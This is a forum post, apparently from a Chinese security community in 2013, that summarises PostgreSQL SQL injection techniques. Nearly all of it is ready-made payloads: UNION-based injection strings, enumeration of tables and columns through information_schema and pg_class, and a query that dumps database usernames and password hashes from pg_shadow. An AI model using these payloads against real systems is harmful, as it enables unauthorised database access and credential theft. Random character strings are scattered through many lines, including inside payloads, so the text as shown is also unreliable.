找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2055|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点9 Q3 z! Z. b5 o# b- B6 j( P3 f9 M

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/, U& C# {! W2 S+ l/ [
连接符: %20 , + , /**/

内置函数:
6 i, L* Y. Q3 l6 pcurrent_database() //当前数据库名: Y. G" O/ v! u" g8 L4 Y
session_user //会话用户
0 O- G) ?6 L& C& ycurrent_user //当前数据库用户
* `0 }. S1 ^  F  H. G, N/ H0 ?user //当前用户
3 r/ c: ^8 h  p2 Dversion() //数据库版本

Union注射:
! W6 T2 s) @4 y& M; a/ |order by n–
2 q! x# c/ V0 G, A" v8 v- p9 y/ s+ n- rand 1=2 union select null,null,null–' B/ K- F0 p3 a
and 1=2 union select ‘beach’,null,null–) L% T; n7 c5 u4 @2 q0 C6 ?
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
: z7 r# X" l& u0 X& Q! I' lgroup_concat(table_name)! u+ a% ^8 e% `0 Y
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–
8 S; r& O7 `/ c+ D: Q) j$ }7 ~and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–
/ ^; o# p8 E6 L. A* @(老版本)
  B4 _* j5 q/ I! Spg_class.oid对应pg_attribute.attrelid3 p5 u  s' w# I' b
pg_class.relname表名
9 v+ L2 d. D  d& fpg_attribute.attname字段名

select relname from pg_class获取表名3 @" U- ~6 ]6 G. n1 R3 A# |6 o& h+ h9 |
select oid from pg_class where 条件 获取参数$ m5 H0 O, k. D; N; }
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:5 o$ T( N% _: \8 m6 r1 `
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
5 q3 H6 Y2 ]$ p- Y( {& i9 mand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
5 y( [3 e8 H% w( D4 b3 @由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名3 G3 _% b2 d$ I  d! _
======================================================================/ W' o6 x- I+ R. d
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库0 x* W: n6 h+ M# I  z+ x
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表